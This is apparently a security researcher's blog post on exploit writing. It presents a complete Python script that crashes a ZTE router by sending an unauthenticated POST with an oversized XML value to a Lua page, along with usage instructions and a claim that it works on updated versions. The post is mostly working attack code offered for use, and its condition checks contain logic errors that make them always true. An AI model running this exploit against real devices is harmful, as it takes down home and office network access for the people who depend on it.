Exploit Writing (KILLx108): Kill ZTE Router

3 minute read

Introduction

After we had a lot of information and understand where is the bug in the previous research (You can read it from here). Now, It’s time to exploit it and create an exploit.

The Exploit

It’s time to explain how to exploit it. So, previously it seems to be parsing the XML request we send and exposing information about Objects/Parameters and their values. and whatever XML request we send it’s back with the same information. But, even tho we can not access these information if we are not authenticated. But, It’s still parsing our request if we are not authenticated. So, Let’s try our large value again here. And if we did that we will triage a crash in the router.

  • First we imported the needed libraries we going to use
    import random
    import string
    import sys
    import urllib3
    import requests
    
  • requests: to send our request exploit to the target.
  • urllib3: I used it here to diable the warings.
  • sys: to take arguments from the user through the command line.
  • string: to use it for the random library in generating the payload.
  • random: to create a payload with random strings from the strings library.
  • Second part a function taking 2 arguments
    def attack(target, porot):
    
      url = f"{porot}://{target}/common_page/Localnet_WlanBasicAd_WLANSSIDConf_EncryOption_lua.lua"
      try:
          print("[+] Check if the target is alive")
          check = requests.get(url, timeout=10, verify=False)
          if check.status_code == 200 or 301 or 302 or 303:
              print("[+] Target is alive")
              print("[+] Sending request...")
              create = string.ascii_uppercase
              payload = ''.join(random.choice(create) for i in range(100000))
              cookies = {"_TESTCOOKIESUPPORT": "1"}
              Headers = {"Connection": "close",
                         "sec-ch-ua": "\"Google Chrome\";v=\"87\", \" Not;A Brand\";v=\"99\", \"Chromium\";v=\"87\"",
                         "Accept": "application/xml, text/xml, */*; q=0.01", "X-Requested-With": "XMLHttpRequest",
                         "sec-ch-ua-mobile": "?0",
                         "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
                         "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
                         "Origin": "https://192.168.1.1", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors",
                         "Sec-Fetch-Dest": "empty", "Referer": "https://"+target+"/", "Accept-Encoding": "gzip, deflate",
                         "Accept-Language": "en-US,en;q=0.9"}
              Data = f"<ajax_response_xml_root><INSTIDENTITY>{payload}</INSTIDENTITY></ajax_response_xml_root>"
    

Basically, This function will take 2 arguments which is protocol, ethier is http or https and the target you want to exploit it. Then, it will check if the target alive and responded or no. After that in the following lines:

create = string.ascii_uppercase
payload = ''.join(random.choice(create) for i in range(100000))

it will create a random 100000 length of strings to send it with the request and crash the device.

  • Full code:
import random
import string
import sys
import urllib3
import requests


urllib3.disable_warnings()


def attack(target, porot):

    url = f"{porot}://{target}/common_page/Localnet_WlanBasicAd_WLANSSIDConf_EncryOption_lua.lua"
    try:
        print("[+] Check if the target is alive")
        check = requests.get(url, timeout=10, verify=False)
        if check.status_code == 200 or 301 or 302 or 303:
            print("[+] Target is alive")
            print("[+] Sending your request...")
            create = string.ascii_uppercase
            payload = ''.join(random.choice(create) for i in range(100000))
            cookies = {"_TESTCOOKIESUPPORT": "1"}
            Headers = {"Connection": "close",
                       "sec-ch-ua": "\"Google Chrome\";v=\"87\", \" Not;A Brand\";v=\"99\", \"Chromium\";v=\"87\"",
                       "Accept": "application/xml, text/xml, */*; q=0.01", "X-Requested-With": "XMLHttpRequest",
                       "sec-ch-ua-mobile": "?0",
                       "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
                       "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
                       "Origin": "https://192.168.1.1", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors",
                       "Sec-Fetch-Dest": "empty", "Referer": "https://"+target+"/", "Accept-Encoding": "gzip, deflate",
                       "Accept-Language": "en-US,en;q=0.9"}
            Data = f"<ajax_response_xml_root><INSTIDENTITY>{payload}</INSTIDENTITY></ajax_response_xml_root>"
            try:
                att = requests.post(url, headers=Headers, cookies=cookies, data=Data, verify=False, timeout=5)
                print("[-] Target is not Vulnerable")
                sys.exit()
            except requests.exceptions.Timeout:
                print("[+] Target vulnerable and dead now")

            print("[+] Exploit by: Zeyad Azima")

        else:
            print("[-] Your Target is not Alive")
    except Exception as error:
        print("[-]", error)
try:
    if sys.argv[2] == "http" or "https":
        attack(sys.argv[1], sys.argv[2])
    else:
        print("[-] Please enter a valid protocol (http or https)")

except IndexError:
    print("[-] Please Set your target \n ex: exploit.py target protocol")
  • Usage
python3 exploit.py IP http/s

7af704b3c8e1921061c437d260c30ccf.png

Conclusion

At the end, it was a simple bug, But it’s lead to take the device down. The exploit works with the other new and updated versions. You can see the full code here on github.